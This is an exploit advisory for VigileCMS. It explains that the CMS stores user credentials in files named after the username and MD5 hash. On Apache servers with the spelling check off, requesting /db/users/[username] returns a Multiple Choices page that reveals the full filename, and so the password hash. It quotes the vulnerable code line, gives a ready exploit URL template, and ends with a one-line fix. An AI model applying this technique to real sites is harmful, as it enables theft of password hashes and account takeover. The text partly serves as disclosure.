/_ | ____ |\___ \ / | / |/ |
| |/ \ | | ( <_/ \ \ ______ | \ \
| | | \ | |/ \ \| | // | || |
||| /\| /____ /\___ >| ||||
\/\_____| \/ \/
Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org
VigileCMS All Versions DataMining Remote Hash Disclosure
(Works only whit Checkspelling off)
#By KiNgOfThEwOrLd
PoC:
In apache, if the checkspelling propriety retourn "off", the HTTP error 300 (Multiple Chois) is probably actived. So, VigileCMS, doesn't use any database, but save the users credentials in a php file. Let's read the codeβ¦
$fp=fopen(USERS_TAB."/$_POST[utente].$md5.php","w");
This script make a file called username.md5hash.php located in /db/users . Surelly, while the developer was writing this code, he thought that nobody can find this file if he doesn't know the target md5β¦but usign the HTTP error, we can do it! We need to know only the target username!
Exploit:
http://[target]/[vigilecms_path]/db/users/[target_username]
In fact, if we try to visit that url, the server will answer:
Multiple Choices
The document name you requested (/db/users/[target_username]) could not be found on this server. However, we found documents with names similar to the one you requested.
Available documents:
/db/users/[target_username].[target_md5_hash].php (common basename)
How to fix:
Set "Checkspelling ON" on your apache.